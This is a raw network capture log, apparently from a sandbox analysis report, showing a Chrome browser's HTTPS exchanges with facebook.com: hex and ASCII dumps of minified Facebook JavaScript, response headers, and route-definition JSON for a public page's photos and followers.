FXytmFo+6mC64WEpLOG7VR+fM3ZWuqxBBrEG0yyiCvBu9gTovX6sJrd50s4PZaJkYDv4UIq2trvfRI3w7KZM4Q== Date: Thu, 11 Apr 2024 20:35:33 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=6, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 477872
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:33 UTC	16128	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 42 61 74 63 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 74 61 74 65 43 68 61 6e 67 65 53 75 62 73 63 72 69 70 74 69 6f 6e 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 36 35 34 36 35 39 36 32 32 32 30 36 31 36 30 37 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 42 61 74 63 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 74 61 74 65 43 68 61 6e 67 65 53 75 62 73 63 72 69 70 74 69 6f 6e 2e 67 72 61 70 68 71 6c 22 2c 5b 22 43 6f 6d 65 74 42 61 74 63 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 74 61 74 65 43 68 61 6e 67 65 Data Ascii: /FB_PKG_DELIM/__d("CometBatchNotificationsStateChangeSubscription_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6546596222061607"}),null);__d("CometBatchNotificationsStateChangeSubscription.graphql",["CometBatchNotificationsStateChange
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 6e 20 6b 2e 6a 73 78 28 63 28 22 42 61 73 65 54 6f 61 73 74 2e 72 65 61 63 74 22 29 2c 7b 61 63 74 69 6f 6e 3a 62 21 3d 6e 75 6c 6c 3f 7b 6c 61 62 65 6c 3a 62 2e 6c 61 62 65 6c 2c 6c 61 62 65 6c 52 65 6e 64 65 72 65 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6b 2e 6a 73 78 28 63 28 22 54 65 74 72 61 54 65 78 74 2e 72 65 61 63 74 22 29 2c 7b 63 6f 6c 6f 72 3a 22 62 6c 75 65 4c 69 6e 6b 22 2c 6e 75 6d 62 65 72 4f 66 4c 69 6e 65 73 3a 31 2c 74 79 70 65 3a 22 62 6f 64 79 33 22 2c 63 68 69 6c 64 72 65 6e 3a 61 7d 29 7d 2c 6f 6e 50 72 65 73 73 3a 62 2e 6f 6e 50 72 65 73 73 2c 74 65 73 74 69 64 3a 62 2e 74 65 73 74 69 64 7d 3a 76 6f 69 64 20 30 2c 61 64 64 4f 6e 53 74 61 72 74 3a 66 2c 63 6c 6f 73 65 42 75 74 74 6f 6e 3a 6f 21 3d 3d 21 30 26 Data Ascii: n k.jsx(c("BaseToast.react"),{action:b!=null?{label:b.label,labelRenderer:function(a){return k.jsx(c("TetraText.react"),{color:"blueLink",numberOfLines:1,type:"body3",children:a})},onPress:b.onPress,testid:b.testid}:void 0,addOnStart:f,closeButton:o!==!0&
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 0a 5f 5f 64 28 22 48 61 73 74 65 52 65 73 70 6f 6e 73 65 46 61 6c 63 6f 45 76 65 6e 74 22 2c 5b 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 2c 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 63 28 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 29 28 22 31 38 32 33 39 32 36 22 29 3b 62 3d 64 28 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 29 2e 63 72 65 61 74 65 28 22 68 61 73 74 65 5f 72 65 73 70 6f 6e 73 65 22 2c 61 29 3b 65 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 65 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 Data Ascii: __d("HasteResponseFalcoEvent",["FalcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1823926");b=d("FalcoLoggerInternal").create("haste_response",a);e=b;g["default"]=e}),98);__d(
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 72 72 6f 72 54 79 70 65 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 29 7b 76 61 72 20 65 3d 6e 65 77 20 44 61 74 65 28 29 2e 76 61 6c 75 65 4f 66 28 29 2c 66 3d 5b 5d 2c 67 3d 5b 5d 2c 6a 3d 6e 65 77 28 69 7c 7c 28 69 3d 62 28 22 50 72 6f 6d 69 73 65 22 29 29 29 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 68 7c 7c 28 68 3d 64 28 22 4a 53 53 63 68 65 64 75 6c 65 72 22 29 29 29 2e 73 63 68 65 64 75 6c 65 4c 6f 67 67 69 6e 67 50 72 69 43 61 6c 6c 62 61 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 66 3d 66 2e 63 6f 6e 63 61 74 28 73 28 29 29 7d 63 61 74 63 68 28 61 29 7b 63 28 22 46 42 4c 6f 67 67 65 72 22 29 28 22 64 6f 6d 73 63 61 6e 6e 65 72 22 29 2e 63 61 74 63 68 69 6e 67 28 61 29 2e 6d 75 73 74 66 69 78 28 22 43 68 65 63 6b 20 53 63 72 69 70 Data Ascii: rrorType)})}function x(a){var e=new Date().valueOf(),f=[],g=[],j=new(i\|\|(i=b("Promise")))(function(a){(h\|\|(h=d("JSScheduler"))).scheduleLoggingPriCallback(function(){try{f=f.concat(s())}catch(a){c("FBLogger")("domscanner").catching(a).mustfix("Check Scrip
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 72 6e 20 74 68 69 73 2e 67 65 74 53 69 67 6e 61 6c 56 61 6c 75 65 28 29 2e 69 73 45 71 75 61 6c 28 61 2e 67 65 74 53 69 67 6e 61 6c 56 61 6c 75 65 28 29 29 7d 3b 63 2e 61 64 64 56 61 6c 75 65 4f 72 45 72 72 6f 72 54 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 5b 64 28 22 53 69 67 6e 61 6c 56 61 6c 75 65 54 79 70 65 44 65 66 22 29 2e 42 44 5f 56 41 4c 55 45 5d 3d 74 68 69 73 2e 67 65 74 53 69 67 6e 61 6c 56 61 6c 75 65 28 29 2e 74 6f 4a 53 4f 4e 28 29 7d 3b 72 65 74 75 72 6e 20 62 7d 28 64 28 22 53 69 67 6e 61 6c 56 61 6c 75 65 54 79 70 65 44 65 66 22 29 2e 53 69 67 6e 61 6c 56 61 6c 75 65 54 79 70 65 44 65 66 29 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 48 65 61 72 74 62 65 61 74 4f 62 6a 65 63 74 22 Data Ascii: rn this.getSignalValue().isEqual(a.getSignalValue())};c.addValueOrErrorToJSON=function(a){a[d("SignalValueTypeDef").BD_VALUE]=this.getSignalValue().toJSON()};return b}(d("SignalValueTypeDef").SignalValueTypeDef);g["default"]=a}),98);__d("HeartbeatObject"
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 6e 61 6c 43 6f 6c 6c 65 63 74 69 6f 6e 20 73 68 6f 75 6c 64 20 6e 6f 74 20 62 65 20 63 61 6c 6c 65 64 20 6f 6e 20 62 69 6f 6d 65 74 72 69 63 20 73 69 67 6e 61 6c 73 22 29 7d 3b 72 65 74 75 72 6e 20 62 7d 28 63 28 22 42 44 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 6f 72 42 61 73 65 22 29 29 3b 67 2e 42 49 4f 4d 45 54 52 49 43 5f 53 49 47 4e 41 4c 5f 43 4f 4c 4c 45 43 54 45 44 5f 45 56 45 4e 54 5f 4e 41 4d 45 3d 61 3b 67 2e 42 44 42 69 6f 6d 65 74 72 69 63 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 6f 72 42 61 73 65 3d 62 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 4b 65 79 44 6f 77 6e 55 70 4f 62 6a 65 63 74 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: nalCollection should not be called on biometric signals")};return b}(c("BDSignalCollectorBase"));g.BIOMETRIC_SIGNAL_COLLECTED_EVENT_NAME=a;g.BDBiometricSignalCollectorBase=b}),98);__d("KeyDownUpObject",[],(function(a,b,c,d,e,f){"use strict";a=function(){
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 54 79 70 65 29 7c 7c 74 68 69 73 7d 76 61 72 20 64 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 64 2e 65 78 65 63 75 74 65 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 6e 65 77 28 63 28 22 4e 75 6d 62 65 72 53 69 67 6e 61 6c 56 61 6c 75 65 54 79 70 65 22 29 29 28 44 61 74 65 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 67 65 74 43 6f 6e 74 65 78 74 28 29 2c 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 3f 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 6c 65 6e 67 74 68 3a 30 29 3b 72 65 74 75 72 6e 7b 76 61 6c 75 65 4f 72 45 72 72 6f 72 3a 61 7d 7d 3b 72 65 74 75 72 6e 20 61 7d 28 63 28 22 42 44 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 6f 72 42 61 73 65 22 29 29 2c 69 3d 6e 75 6c 6c 2c 6a 3d 7b 73 69 67 6e 61 6c 54 79 70 Data Ascii: Type)\|\|this}var d=a.prototype;d.executeSignalCollection=function(){var a=new(c("NumberSignalValueType"))(Date.now(),this.getContext(),window.history?window.history.length:0);return{valueOrError:a}};return a}(c("BDSignalCollectorBase")),i=null,j={signalTyp
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 42 61 73 65 22 29 2e 42 49 4f 4d 45 54 52 49 43 5f 53 49 47 4e 41 4c 5f 43 4f 4c 4c 45 43 54 45 44 5f 45 56 45 4e 54 5f 4e 41 4d 45 2c 74 68 69 73 2e 24 36 29 3b 74 68 69 73 2e 24 31 3d 21 30 7d 3b 65 2e 24 34 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 2e 67 65 74 42 75 66 66 65 72 43 6f 6e 66 69 67 28 29 3d 3d 6e 75 6c 6c 26 26 64 28 22 42 44 53 69 67 6e 61 6c 42 75 66 66 65 72 22 29 2e 69 6e 69 74 69 61 6c 69 7a 65 28 62 2e 73 69 67 6e 61 6c 54 79 70 65 2c 74 68 69 73 2e 67 65 74 43 69 72 63 75 6c 61 72 42 75 66 66 65 72 53 69 7a 65 28 62 29 2c 62 2e 73 69 67 6e 61 6c 46 6c 61 67 73 29 2c 61 2e 76 61 6c 75 65 4f 72 45 72 72 6f 72 26 26 21 74 68 69 73 2e 69 73 45 71 75 61 6c 54 6f 4c 61 73 74 43 6f 6c 6c 65 63 74 65 64 53 69 67 6e 61 6c 28 61 2e 76 Data Ascii: Base").BIOMETRIC_SIGNAL_COLLECTED_EVENT_NAME,this.$6);this.$1=!0};e.$4=function(a,b){b.getBufferConfig()==null&&d("BDSignalBuffer").initialize(b.signalType,this.getCircularBufferSize(b),b.signalFlags),a.valueOrError&&!this.isEqualToLastCollectedSignal(a.v
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 20 61 28 29 7b 7d 76 61 72 20 64 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 64 2e 70 61 74 63 68 52 65 71 75 65 73 74 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 64 3d 7b 7d 2c 65 3d 63 28 22 52 54 49 53 75 62 73 63 72 69 70 74 69 6f 6e 4d 61 6e 61 67 65 72 43 6f 6e 66 69 67 22 29 2e 62 6c 61 64 65 72 75 6e 6e 65 72 5f 77 77 77 5f 73 61 6e 64 62 6f 78 2c 66 3d 63 28 22 52 54 49 53 75 62 73 63 72 69 70 74 69 6f 6e 4d 61 6e 61 67 65 72 43 6f 6e 66 69 67 22 29 2e 69 73 5f 69 6e 74 65 72 6e 3b 69 66 28 21 28 68 7c 7c 28 68 3d 63 28 22 69 73 45 6d 70 74 79 22 29 29 29 28 63 28 22 57 65 62 44 72 69 76 65 72 43 6f 6e 66 69 67 22 29 2e 61 75 78 69 6c 69 61 72 79 53 65 72 76 69 63 65 49 6e 66 6f 29 29 7b 76 61 72 20 67 3b 67 3d 28 67 3d 63 Data Ascii: a(){}var d=a.prototype;d.patchRequestHeaders=function(a){var d={},e=c("RTISubscriptionManagerConfig").bladerunner_www_sandbox,f=c("RTISubscriptionManagerConfig").is_intern;if(!(h\|\|(h=c("isEmpty")))(c("WebDriverConfig").auxiliaryServiceInfo)){var g;g=(g=c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49950	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	950	OUT	POST /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1616 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1616	OUT	Data Raw: 72 6f 75 74 65 5f 75 72 6c 73 5b 30 5d 3d 25 32 46 70 68 6f 74 6f 25 32 46 25 33 46 66 62 69 64 25 33 44 32 38 36 33 31 30 30 34 36 32 32 37 32 38 39 25 32 36 73 65 74 25 33 44 61 2e 32 36 35 30 34 35 37 35 35 30 32 30 33 38 35 26 72 6f 75 74 65 5f 75 72 6c 73 5b 31 5d 3d 25 32 46 70 68 6f 74 6f 25 32 46 25 33 46 66 62 69 64 25 33 44 32 36 35 30 34 35 37 35 38 33 35 33 37 31 38 25 32 36 73 65 74 25 33 44 61 2e 32 36 35 30 34 35 37 34 38 33 35 33 37 31 39 25 32 36 5f 5f 74 6e 5f 5f 25 33 44 25 32 35 33 43 26 72 6f 75 74 65 5f 75 72 6c 73 5b 32 5d 3d 25 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 25 32 46 66 6f 6c 6c 6f 77 65 72 73 26 72 6f 75 74 65 5f 75 72 6c 73 5b 33 5d 3d 25 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 25 32 46 66 6f 6c 6c 6f 77 69 6e 67 26 Data Ascii: route_urls[0]=%2Fphoto%2F%3Ffbid%3D286310046227289%26set%3Da.265045755020385&route_urls[1]=%2Fphoto%2F%3Ffbid%3D265045758353718%26set%3Da.265045748353719%26__tn__%3D%253C&route_urls[2]=%2Fbfjfinancial%2Ffollowers&route_urls[3]=%2Fbfjfinancial%2Ffollowing&
2024-04-11 20:35:33 UTC	942	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:33 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:33 UTC	1747	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:33 UTC	6	IN	Data Raw: 66 37 37 33 0d 0a Data Ascii: f773
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 66 6f 72 20 28 3b 3b 29 3b 7b 22 70 61 79 6c 6f 61 64 22 3a 7b 22 70 61 79 6c 6f 61 64 73 22 3a 7b 22 2f 70 68 6f 74 6f 2f 3f 66 62 69 64 3d 32 38 36 33 31 30 30 34 36 32 32 37 32 38 39 26 73 65 74 3d 61 2e 32 36 35 30 34 35 37 35 35 30 32 30 33 38 35 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 72 6f 75 74 65 5f 64 65 66 69 6e 69 74 69 6f 6e 22 2c 22 65 78 70 6f 72 74 73 22 3a 7b 22 61 63 74 6f 72 49 44 22 3a 22 30 22 2c 22 72 6f 6f 74 56 69 65 77 22 3a 7b 22 61 6c 6c 52 65 73 6f 75 72 63 65 73 22 3a 5b 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 52 6f 6f 74 2e 72 65 61 63 74 22 7d 2c 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 52 6f 6f 74 2e 65 6e 74 72 79 70 6f Data Ascii: for (;;);{"payload":{"payloads":{"/photo/?fbid=286310046227289&set=a.265045755020385":{"error":false,"result":{"type":"route_definition","exports":{"actorID":"0","rootView":{"allResources":[{"__jsr":"CometPhotoRoot.react"},{"__jsr":"CometPhotoRoot.entrypo
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 69 64 6f 72 76 61 6e 69 74 79 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 63 6f 6d 6d 65 6e 74 5f 69 64 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 Data Ascii: ],"default":null,"path":false,"significant":false,"coercibleType":"STRING"},"idorvanity":{"legacyNames":[],"default":null,"path":false,"significant":true,"coercibleType":"STRING"},"comment_id":{"legacyNames":[],"default":null,"path":false,"significant":fa
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 3a 74 72 75 65 2c 22 72 6f 75 74 65 54 79 70 65 22 3a 22 6d 65 64 69 61 5f 76 69 65 77 65 72 22 2c 22 75 70 73 65 6c 6c 43 6f 6e 66 69 67 22 3a 7b 22 73 75 72 66 61 63 65 22 3a 22 70 68 6f 74 6f 73 22 2c 22 74 79 70 65 22 3a 22 6c 6f 67 69 6e 5f 75 70 73 65 6c 6c 22 2c 22 69 73 44 69 73 6d 69 73 73 69 62 6c 65 22 3a 74 72 75 65 2c 22 64 65 62 75 67 53 65 72 76 65 72 55 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 7d 2c 22 63 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 22 72 6f 75 74 65 5f 6d 61 74 63 68 5f 69 6e 66 6f 73 22 3a 5b 7b 22 69 6e 73 74 61 6e 63 65 50 61 72 61 6d 73 22 3a 7b 22 66 62 69 64 22 3a 22 32 Data Ascii: :true,"routeType":"media_viewer","upsellConfig":{"surface":"photos","type":"login_upsell","isDismissible":true,"debugServerUri":"https://www.facebook.com/ajax/bulk-route-definitions/"},"canonicalUrl":null},"route_match_infos":[{"instanceParams":{"fbid":"2
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 3a 22 59 58 42 77 58 33 4e 6c 59 33 52 70 62 32 34 36 4d 54 41 77 4d 44 51 31 4e 44 51 34 4f 44 63 34 4e 54 67 77 4f 6a 49 7a 4e 54 59 7a 4d 54 67 7a 4e 44 6b 3d 22 2c 22 75 73 65 72 49 44 22 3a 22 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 22 2c 22 75 73 65 72 56 61 6e 69 74 79 22 3a 22 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 76 69 65 77 65 72 49 44 22 3a 6e 75 6c 6c 2c 22 65 6c 69 67 69 62 6c 65 46 6f 72 50 72 6f 66 69 6c 65 50 6c 75 73 45 6e 74 69 74 79 4d 65 6e 75 22 3a 66 61 6c 73 65 7d 2c 22 65 6e 74 72 79 50 6f 69 6e 74 22 3a 7b 22 5f 5f 64 72 22 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 43 6f 6c 6c 65 63 74 69 6f 6e 52 6f 75 74 65 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 6e 74 22 7d 7d 2c 22 74 72 61 63 65 50 6f 6c 69 63 79 22 3a 22 63 6f 6d Data Ascii: :"YXBwX3NlY3Rpb246MTAwMDQ1NDQ4ODc4NTgwOjIzNTYzMTgzNDk=","userID":"100045448878580","userVanity":"bfjfinancial","viewerID":null,"eligibleForProfilePlusEntityMenu":false},"entryPoint":{"__dr":"ProfileCometCollectionRouteRoot.entrypoint"}},"tracePolicy":"com
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 6f 6c 6c 6f 77 65 72 73 22 2c 22 76 69 65 77 61 73 22 3a 6e 75 6c 6c 2c 22 6d 75 6c 74 69 5f 70 65 72 6d 61 6c 69 6e 6b 73 22 3a 6e 75 6c 6c 2c 22 73 68 6f 75 6c 64 5f 6f 70 65 6e 5f 63 6f 6d 70 6f 73 65 72 22 3a 66 61 6c 73 65 2c 22 65 76 65 6e 74 5f 69 64 22 3a 6e 75 6c 6c 2c 22 73 6f 72 74 69 6e 67 5f 73 65 74 74 69 6e 67 22 3a 6e 75 6c 6c 2c 22 74 61 67 22 3a 6e 75 6c 6c 2c 22 72 65 66 65 72 72 61 6c 5f 73 6f 75 72 63 65 22 3a 6e 75 6c 6c 2c 22 73 65 63 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 74 6f 72 79 5f 69 64 22 3a 6e 75 6c 6c 2c 22 63 6f 6d 6d 65 6e 74 5f 69 64 22 3a 6e 75 6c 6c 2c 22 72 65 70 6c 79 5f 63 6f 6d 6d 65 6e 74 5f 69 64 22 3a 6e 75 6c 6c 2c 22 62 61 64 67 65 5f 74 79 70 65 22 3a 22 4e 45 57 5f 4d 45 4d 42 45 52 22 7d 2c 22 72 6f 75 74 Data Ascii: ollowers","viewas":null,"multi_permalinks":null,"should_open_composer":false,"event_id":null,"sorting_setting":null,"tag":null,"referral_source":null,"section":null,"story_id":null,"comment_id":null,"reply_comment_id":null,"badge_type":"NEW_MEMBER"},"rout
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 2c 22 72 65 70 6c 79 5f 63 6f 6d 6d 65 6e 74 5f 69 64 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 46 42 49 44 22 7d 2c 22 62 61 64 67 65 5f 74 79 70 65 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 22 4e 45 57 5f 4d 45 4d 42 45 52 22 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 45 4e 55 4d 22 7d 7d 2c 22 72 6f 75 74 65 50 61 74 68 22 3a 22 2f 7b 76 61 6e 69 74 79 7d 2f 7b 73 6b 7d 2f 22 7d 5d 7d 7d 